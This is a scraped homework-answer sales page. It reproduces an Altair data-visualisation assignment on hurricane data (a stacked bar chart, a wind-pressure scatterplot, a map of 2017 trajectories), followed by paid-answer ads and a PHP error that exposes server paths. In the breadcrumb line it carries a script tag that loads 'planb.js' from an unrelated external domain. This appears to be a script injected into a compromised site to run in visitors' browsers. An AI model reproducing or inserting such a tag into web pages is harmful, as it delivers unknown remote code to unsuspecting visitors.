Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Yearly Bar Chart (15pts) Create a stacked bar chart that shows the number of hurricanes per year, co

(Solved): Yearly Bar Chart (15pts) Create a stacked bar chart that shows the number of hurricanes per year, co ...



Yearly Bar Chart (15pts) Create a stacked bar chart that shows the number of hurricanes per year, colored by month. You should only count each hurricane identifier once (per year). Treat the year and month as ordinal values. Datetime Month of Datetime January February March April May June July August September October November December Distinct count of Identifier year (datetime)) You can change the type of an attribute by appending : 0 (ordinal), UT (temporal), :N (categorical/nominal), or :Q (quantitative). Altair has a distinct aggregation that counts the number of distinct values, but you need to identify the type of the output Scatterplot of Wind and Pressure (15 pts): Create a scatterplot that shows the relationship between maximum hurricane wind speed and minimum hurricane pressure. There is no pressure information for some hurricanes, and this is indicated by the -999 value. Filter out those values. Also, do not include zero on the pressure axis to better see the relationship between the values. - Make sure to choose the correct aggregation for each measure (not SUM) To set the axis to not automatically include zero, you can use the following syntax: alt.x('...', scale=alt.Scale (zero=False)). - To filter values, use the transform filter method. The filter syntax uses the alt.datum construction. For an attribute foo, transform filter (alt.datum.foo > 0) gets rid of any negative values of foo. 2017 Hurricane Trajectories (15 pts): Create a map that shows the paths (trajectories) of the 2017 hurricanes. Filter the data so that only 2017 hurricanes are shown. You will also need to group the line marks by identifier (color or detail should work here). You should show a map for context. We will do this by showing the lower 48 states using: import vega_datasets states_data = alt.topo_feature (vega_datasets.data.us_10m.url, "states") states = alt.Chart (states_data).mark_geoshape ( stroke='black', strokeWidth=1 ).transform filter ((alt.datum.id != 2) & (alt.datum.id != 15)) The transform_filter removes Alaska and Hawaii. Create your line chart for the hurricanes independently using the latitude and longitude encoding arguments. Make sure to filter out only the 2017 hurricanes and use color or detail to group them. Then, combine the two charts using the + operator. If your hurricane trajectories chart is named hurricanes, use states + hurricanes. You can filter based on dates by using comparison operators with strings (e.g. > "2017-01-01"). Use a different color for the hurricanes so that they can be differentiated from the state boundaries. Show transcribed image text Yearly Bar Chart (15pts) Create a stacked bar chart that shows the number of hurricanes per year, colored by month. You should only count each hurricane identifier once (per year). Treat the year and month as ordinal values. Datetime Month of Datetime January February March April May June July August September October November December Distinct count of Identifier
year (datetime)) You can change the type of an attribute by appending : 0 (ordinal), UT (temporal), :N (categorical/nominal), or :Q (quantitative). Altair has a distinct aggregation that counts the number of distinct values, but you need to identify the type of the output Scatterplot of Wind and Pressure (15 pts): Create a scatterplot that shows the relationship between maximum hurricane wind speed and minimum hurricane pressure. There is no pressure information for some hurricanes, and this is indicated by the -999 value. Filter out those values. Also, do not include zero on the pressure axis to better see the relationship between the values. - Make sure to choose the correct aggregation for each measure (not SUM) To set the axis to not automatically include zero, you can use the following syntax: alt.x('...', scale=alt.Scale (zero=False)).
- To filter values, use the transform filter method. The filter syntax uses the alt.datum construction. For an attribute foo, transform filter (alt.datum.foo > 0) gets rid of any negative values of foo. 2017 Hurricane Trajectories (15 pts): Create a map that shows the paths (trajectories) of the 2017 hurricanes. Filter the data so that only 2017 hurricanes are shown. You will also need to group the line marks by identifier (color or detail should work here). You should show a map for context. We will do this by showing the lower 48 states using: import vega_datasets states_data = alt.topo_feature (vega_datasets.data.us_10m.url, "states") states = alt.Chart (states_data).mark_geoshape ( stroke='black', strokeWidth=1 ).transform filter ((alt.datum.id != 2) & (alt.datum.id != 15)) The transform_filter removes Alaska and Hawaii. Create your line chart for the hurricanes independently using the latitude and longitude encoding arguments. Make sure to filter out only the 2017 hurricanes and use color or detail to group them. Then, combine the two charts using the + operator. If your hurricane trajectories chart is named hurricanes, use states + hurricanes.
You can filter based on dates by using comparison operators with strings (e.g. > "2017-01-01"). Use a different color for the hurricanes so that they can be differentiated from the state boundaries.


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now

A PHP Error was encountered

Severity: Core Warning

Message: PHP Startup: Unable to load dynamic library 'dba.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so (libtokyocabinet.so.9: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so: cannot open shared object file: No such file or directory))

Filename: Unknown

Line Number: 0

Backtrace: